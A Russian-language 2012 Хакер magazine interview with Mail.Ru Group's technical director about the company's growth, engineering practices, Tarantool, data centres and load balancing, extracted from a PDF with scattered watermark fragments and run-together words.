
 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

ОДИННАДЦАТЬ ЛЕТ НАЗАД В MAIL.RU РАБОТАЛО 60 ЧЕЛОВЕК И ОКОЛО 200 СЕРВЕРОВ. ОСНОВНЫМ ПРОЕКТОМ БЫЛА ПОЧТА

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Всеэтипродуктовыеизменениянеслизаw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

собойогромноеколичествоизмененийтехно- df-x chan

e

 

 

 

 

логических.Ведь когда парк серверов растет со ста с небольшим машин до десяти с чем-то тысяч, приходится менять подходы буквально ко всему.

Сейчасмыосваиваемразработкупоисковыхтехнологий.Для нас создание поиска было и остается и новым, и сложным. И это очень интересно. :)

О КАРЬЕРЕ

Компьютерыиинформационныетехнологии всегдабылимоимхоббииостаютсяимдосих пор.У меня нет образования в области информационных технологий. Зато есть опыт, уже, можно сказать, пятнадцатилетний.

ВMail.Ruяпришелодиннадцатьлетназад,простымсисадмином. В компанию попал почти случайно — здесь работал мой товарищ, который и позвал мне «к себе». Сначала я руководил системными администраторами, потом, через пару лет, стал техническим руководителем почты, а в 2005 году — техническим директором.

ОдиннадцатьлетназадвMail.Ruработало 60человекиоколо200серверов.Основным проектом была почтовая служба — и это по большому счету все, что тогда было.

Сейчаскомпаниявыросла,новнейпопрежнемучувствуетсядухстартапа.Здесь открыт путь любым изменениям и новым идеям, что очень приятно. У нас нет каких-либо жестких правил, вроде «мы ходим только с левой ноги». Ты каждый день можешь привносить чтото новое в свой рабочий процесс, в техническую жизнь компании.

Важно,чтобыработатебенравилась. Даже если приходится работать сверхурочно, даже если приходится делать что-то сложное — это все равно удовольствие. Конечно, такой подход дает огромное преимущество перед людьми, которые просто исполняют свои обязанности. «В 11 пришел, в 8 ушел» — не наш случай.

ЧЕЛЕНДЖИ MAIL.RU GROUP

Одиннадцатьлетназаднашимосновнымпроектомбылатолькопочта.Уже потом появились социальные сети, мессенджер и так далее.

Сейчас почта тоже является важным для нас проектом, но есть и другие крупные подразделения.

Одноизважныхвисториикомпаниисобытийпроизошлов2003году.В тот момент, когда безоговорочно царствовала ICQ, мы собрались

иподумали, что одного мессенджера на такую огромную страну, как Россия, будет мало. Но взять и «подвинуть» ICQ? Это была большая авантюра. Даже я немножечко сомневался в успехе, а среди моих знакомых и друзей вообще почти никто не верил, что нам удастся потеснить ICQ на этом рынке. Так мы запустили собственный мессенджер, который называется Mail.Ru Агент (хотя ваши читатели, наверное, его

инедолюбливают — изначально им пользовались больше обычные люди, чем IT-шники). Сегодня же это первый мессенджер по количеству пользователей в России, а ICQ, на которую мы равнялись, вошла в состав Mail.Ru Group.

Разработкамессенджерасталадлянас увлекательнымиспытанием. Сделать мессен-

джер таким, чтобы он не требовал огромного парка серверов, но в то же время позволял нескольким миллионам пользователей быть онлайн, — довольно тяжелая задача. К тому же одно дело разрабатывать веб-сервисы и совсем другое — клиентские приложения. К примеру, мы и представить не могли, с какими проблемами столкнемся для реализации голосовой связи. Передать голос просто, но сделать так, чтобы голос мог передаваться на плохом канале, с нестабильной связью, чтобы при этом у вас не было отставания и эха, — это уже целая наука. Такие задачи требуют не только умения хорошо кодить, но и отличного знания математики.

Следующей серьезной вехой, если говорить о развитии продуктов, стали социальные сети. Мы запустили свою социальную сеть «Мой Мир», а уже, так скажем, «в новейшей истории» к нам присоединились «Одноклассники». Сложная задача — разработать архитектуру социальной сети так, чтобы, с одной стороны, у вас на странице было большое количество данных с разных серверов, а с другой стороны, все продолжало работать и не тормозило, если вдруг какой-то сервер или кластер серверов отвалится. Нужно было обеспечить устойчивую работу с информацией из огромного числа хранилищ. Эту задачу мы решали довольно долго.

R&D

Подкаждыйпроектунассуществуетсобственнаякомандаразработки. К примеру, команда разработки поиска, команда почты, команда мессенджеров и так далее. Команда разработчиков нанимается под каждый отдельный проект и увеличивается/уменьшается в зависимости от того, как этот проект работает. Сейчас таких команд около двадцати пяти. В зависимости от масштаба проекта команда может насчитывать от пяти до шестидесяти человек.

Нашстеквыглядитследующимобразом:

те части программных комплексов, которые работают под высокой нагрузкой, мы в основном разрабатываем на С/С++. На Perl мы делаем те части, которые подвергаются частой модификации, и те, которые дорого или неудобно разрабатывать на C. Также мы используем Python и совсем чуть-чуть Ruby.

Внашемслучаесовершенноотказаться отPerlуже,наверное,невозможно—унас гигабайтыкодананем.Все это жалко выбрасывать, к тому же это не имеет никакого смысла. У нас очень хорошая команда Perl-разработчиков. Вообще, не так уж важно, на каком языке вы программируете. Вы либо программируете, либо

нет. Если вы хороший программист и сталкиваетесь с модулями на Perl, рано или поздно вы его выучите — это очень простой язык. Он хорош именно своей простотой.

ПрактическивсеинженерыMail.Ruиспользуютдляработынесколькомониторов

ХАКЕР 07 /162/ 2012

025

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

m

w

 

df-xchanCOVERSTORY

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

ЗдесьвMail.RuGroupварятсяигры:)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Система разработки строится так: вы работаете в своей рабочей группе. Когда вы делаете commit (изменения в коде), ваш руководитель должен сделать проверку вашего кода (мы это называем «ревью») — после этого код попадает в тестовую ветку. Тестовую ветку вы сами можете выложить на свои тестовые серверы и посмотреть, как все работает. Когда вы завершили какую-то большую задачу и написали все, что для нее

необходимо, руководитель отдела разработки передает это в отдел эксплуатации. Он рассказывает, что было сделано, какие повлекло за собой изменения, и с этого момента уже начинается работа сисадминов. Только они имеют доступ к продакшену, только они могут задеплоить то, что написали разработчики. Таким образом, они же несут ответственность за работу продакшена, и они дадут вам фидбэк о том, произошла ли какая-то проблема при развертывании вашего кода.

Разумеется, мы используем только Open Source технологии и Linux. Дело в том, что нагрузки очень высоки, и часто приходится сталкиваться с чем-то в первый раз. А когда у вас есть исходный код и проблема загоняет вас в угол, Open Source позволяет в крайнем случае просто открыть исходник и поправить там то, что вам не нравится. Это происходит не так часто, но сама возможность сделать это, если необходимо, дорогого стоит.

К примеру, часто операционная система не поддерживает новое железо. Так что

самый распространенный случай — нужно написать какие-то драйверы. Также мы используем довольно много различных балансировщиков. Соответственно, место в ядре, которое отвечает за сеть и которое мы можем использовать для балансировки, нами очень сильно оптимизировано. Или, например, нам часто приходится править что-то в nginx, чтобы вся наша система работала еще быстрее.

Мычастоправимбаги.Мы внутри Mail.Ru Group обычно начинаем тестировать продук-

ты раньше,чем они становятся стабильными, поэтомуисправлять ошибки нам не привыкать. Свежий пример.Впоиске мы используем Hadoop и Hbase в качестве хранилища, и этотоже довольно сырой продукт. Так вот,он весь «истоптан» нашими патчами и фиксами — и чтобы сделатьего болеестабильным, и чтобы заточить его поднашу поисковую систему.

Делатькоммитвоткрытыепроектытолько длясебяилисделатьегопубличным—всегда решаетсамакомандаразработки.Следуетпо-

РаботывMail.Ruоченьмного,ноиспособовотдохнутьиперевестидухпредостаточно

026

ХАКЕР 07 /162/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Интервью с техническим директором Mail.Ru Groupw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ТаинственнаяSoundTeam

нимать:чтобысделатьлюбойпродуктпубличным (дажесвойсобственныйпатч),нужновыполнить бОльшуюработу,чемеслиделатьтотжепатчдля себя.Поэтомукаждаякомандаразработкирешает,насколькоеедетищебудетполезнообществу.

Унас,кстати,естьисвойсобственный OpenSourceпродукт—Tarantool.Изначаль- но цели делать открытый проект, конечно, не было. Более того, я вообще не верю, что можно сделать продукт в вакууме — вот соберемся мы с вами и сделаем некий хороший продукт. Как правило, сначала ты сталкиваешься с какимито потребностями, которые никто не может покрыть, потом делаешь продукт для себя и в какой-то момент понимаешь, что получилось неплохо — этот продукт можно отдать. Именно так произошло с нашим key-value storage, и я лично могу порекомендовать его всем, кто работает с высокими нагрузками и кому нужно надежное хранение данных.

Tarantool—этоkey-valueбазаданных. Мы не можем позволить себе терять данные, поэтому для нас она важна в первую очередь

скоростью и тем, что позволяет бэкапить данные и не терять их при перезагрузке сервера. На тот момент, когда мы начинали ее разрабатывать, ничего похожего не существовало. Мы используем эту разработку в огромном количестве наших продуктов и можем гарантировать, что будем поддерживать ее всегда. То есть можно без страха брать и использовать ее в своих продуктах, рассчитывая на нашу команду разработки.

КаксделатьдостойныйOpenSourceпроект?

Мыпоняли,чтонезнаемответанаэтотвопрос. Простовыложитьрепозиторийскодомвоткрытый доступ—явнонедостаточно.Поэтомумыискали человека,которыйзнает,какименноэтоделается. ВитогепроектомзанимаетсяКостяОсипов,которыйраньшеработалвMySQL.Деловтом,чтотогда унаснебылоопытаразвитияOpenSourceпро- дуктов.Этовсе-такинемногодругаяидеология, чемнаписаниесофтаназаказитомуподобные вещи.Дляэтогонужноуметьработатьвкомьюнити,нужноуметьпривлекатьвнеголюдей,уметь рассказатьлюдям,почемутылучше,чемдругие.А КостявMySQLоченьмногоработалсOpenSource продуктами:онпонимаетизнает,каквсеэтоделается.Мыискалиименнотакогочеловека.

СЛУЖБА ЭКСПЛУАТАЦИИ

У нас шесть дата-центров, все они находятся в Москве. К сожалению, инфраструктура нашей страны такая, что за пределами столицы

дата-центры делать бессмысленно. Проблема кроется в каналах: дата-центр можно построить хоть на Урале, но протянуть туда канал уже проблематично.

На данный момент мы ориентированы на рынок России и стран СНГ. Большинство наших пользователей находятся здесь, поэтому развивать дата-центры в Европе или США нам пока не очень интересно. Мы хотели бы иметь дата-центры по России, но тут есть ограничение — в стране построено недостаточно каналов, чтобы прокачивать большие объемы трафика внутри страны (между датацентрами). На сегодняшний день емкость каналов Mail.Ru Group составляет примерно полтерабита, а реального трафика у нас около 280 Гбит/с. Но для того, чтобы объединить в кольцо серверы, которые находятся, к примеру, на Урале, потребовались бы баснословные деньги. Стоимость каналов превысит стоимость строительства всего дата-центра. Это и является основной проблемой.

В компании за то, чтобы все работало, отвечает единая команда эксплуатации.

Попробую перечислить, кто в нее входит. Это системные администраторы, которые занимаются администрированием наших проектов.

Отдельная дежурная служба, которая 24 часа в сутки наблюдает за нашими серверами, вовремя замечает и исправляет проблемы. Служба эксплуатации дата-центров, которая следит, чтобы там все время были свет и холод. Служба инженеров, которая отвечает за то, чтобы у нас появлялись новые серверы. Сложно звучит, но на самом деле, если ставить сотни новых серверов в месяц, то требуется отдельная служба, которая будет подключать новое оборудование и заменять старое, вышедшее из строя.

Мы стараемся отойти от «работы руками». Не секрет, что чем больше ручной настройки вы производите, тем больше вероятность ошибки. Соответственно, после того, как к вам приехала коробка с сервером, вы его распаковываете, вставляете в стойку, а дальше остается только подсоединить Ethernet и в появившемся меню сетевого загрузчика определить тип системы, которая будет поставлена. Грубо говоря, будет ли этот сервер фронтендом или хранилищем. Дальше он настраивается автоматически, а по окончании его setup’а система вводится в работу и подключается к системе мониторинга.

Деплой(развертывание)полностьюавтоматизирован.Ребята занимаются только тем, что постоянно улучшают систему деплоя. Когда

КОГДА ПРОБЛЕМА ЗАГОНЯЕТ ВАС В УГОЛ, OPEN SOURCE ПОЗВОЛЯЕТ В КРАЙНЕМ СЛУЧАЕ ПРОСТО ОТКРЫТЬ ИСХОДНИК И ПОПРАВИТЬ ТАМ ТО, ЧТО ВАМ НЕ НРАВИТСЯ

ХАКЕР 07 /162/ 2012

027

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

m

w

 

df-xchanCOVERSTORY

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

серверов много, это может стать узким местом в развитии компании. Зато мы можем одновременно поставить тысячу серверов, останется только прикрутить их к стойке и воткнуть хвостики Ethernet’а.

ВНУТРЕННИЕ СТАРТАПЫ

Futubra—своегородаэксперимент.Мы запустили стартап внутри большой компании и решили посмотреть, что из этого выйдет.

Первоначальнаяидеязаключаласьвтом, чтобыдатьвозможностьребятамсделатьчтотоновое.Важно понимать, что, когда вы приходите работать в большую компанию (несмотря на то, что Mail.Ru Group крайне демократична), все равно есть какие-то общепринятые вещи и технологии, которые мы используем. А если вы работаете в нашем стартапе, у вас есть только одно правило: правил нет. Вы делаете, что хотите, и пробуете свои силы в создании нового продукта.

Разработчикамбылданполныйкартбланш.У Futubra отдельная команда, они могут использовать или не использовать те вещи,

которые приняты у нас. Они пытаются делать новый продукт, какого в Mail.Ru Group еще не делали. Пока у ребят все получается.

СТЕК ТЕХНОЛОГИЙ

Сначаластоитсказать,начеммыработаем.

Основная база данных у нас — MySQL, плюс наша NoSQL СУБД Tarantool. В качестве вебсервера мы используем свою собственную разработку, nginx и Apache, в качестве почтового сервера — свой fork Exim’а, у нас есть даже такие сравнительно редко встречающиеся вещи, как собственный DNS-сервер. Из «больших кусков» — это всё, плюс еще огромное количество модулей, которые мы писали для себя сами.

Унасестьнаборпродуктов,которыепозволяютдовольнобыстросоздатьсервисный проект. Есть несколько типов собственных хранилищ, которые вы можете использовать; есть свои собственные веб-серверы, которые позволяют очень быстро обрабатывать пользовательские запросы. Естественно, для них написаны модули для авторизации пользователей и прочее. У нас есть свои серверы, которые

ИменнаяскамейкаМойМир@Mail.ru

КОГДА ВАША СЕТЬ МОЖЕТ ПРОПУСТИТЬ ПОЛТЕРАБИТА ТРАФИКА, КОГДА У ВАС ДЕСЯТЬ ТЫСЯЧ СЕРВЕРОВ, ПОЛОЖИТЬ ИХ DDOS'ОМ ДОВОЛЬНО СЛОЖНО

позволяют обмениваться сообщениями, где бы это вам ни понадобилось. За 13 лет существования у нас наработано очень большое количество готовых вещей, которые вы как разработчик можете у себя применить. Это, конечно, дает некую фору по сравнению с командой, которая начинает c нуля.

Относительно балансировки нагрузок есть «рецепт», который я обычно советую. Как, наверное, и все компании, мы начинали с аппаратных балансировщиков и перепробовали многие. Это было давно. Потом мы поняли, что любая аппаратная платформа рано или поздно загонит вас в свои рамки, которые у нее обязательно существуют. Поэтому в данный момент мы пришли к тому, что используем балансировку на Linux IPVS. Во-первых, это позволяет нам обрабатывать большое количество пакетов в секунду (для нас это принципиально: Mail.Ru Group — это история о высоких нагрузках). Во-вторых, это позволяет встраивать балансировщики в нашу систему. То есть мы можем балансировать любой сервис, который у нас существует.

Унасестьдовольновысоконагруженный комплекс,которыйобеспечиваетработуInstant Messenger’ов.Его тонкость заключается в том, что любой клиент — это постоянное соединение с вашим сервером. Наш комплекс тянет около 150 000 клиентов на одном сервере, а это довольно много. Конечно, это тоже потребовало изменений именно в сетевой части.

ВыключитьпорталMail.Ruцеликомочень сложно,ивпоследнеевремятакихпроблему наснебыло. Но конечно, в определенные моменты у нас могут быть какие-то аварии, которые затрагивают небольшую часть пользователей.

Мыстараемсястроитьнашусистемутаким образом,чтобы,дажеесликакой-томодуль неработоспособен,всеостальноеприэтомработало. Это своего рода философия разработки. У ребят, которые приходят из других компаний, я очень часто вижу следующее: пишется монолитный кусок кода, и если он не работает, то он не работает целиком. Это то, за чем мы всегда целенаправленно следим. Условно говоря — нет у тебя сегодня доступа к этой базе данных, но всю остальную работу ты можешь сделать. Это позволяет нам, убрав какой-то блок со страницы, иметь рабочую систему.

БЕЗОПАСНОСТЬ В MAIL.RU GROUP

ПроблемаDDoS,ксчастью,стоитдалеконена первомместе.Последний раз мы чувствовали DDoS, наверное, лет семь назад. Когда ваша сеть может пропустить полтерабита трафика, когда у вас десять тысяч серверов, положить их довольно сложно.

Информационнаябезопасность—это вопрос,надкоторыммыдумаемпостоянно;

это то, в чем никогда нельзя быть уверенным. Скажем, мы твердо знаем, что наш программный комплекс потянет некую нагрузку. Но я никогда не могу быть уверен, что никто не найдет никаких уязвимостей в коде. Нет такой технологии, которая позволила бы с гарантией забыть об этой проблеме.

028

ХАКЕР 07 /162/ 2012

Соседние файлы в папке журнал хакер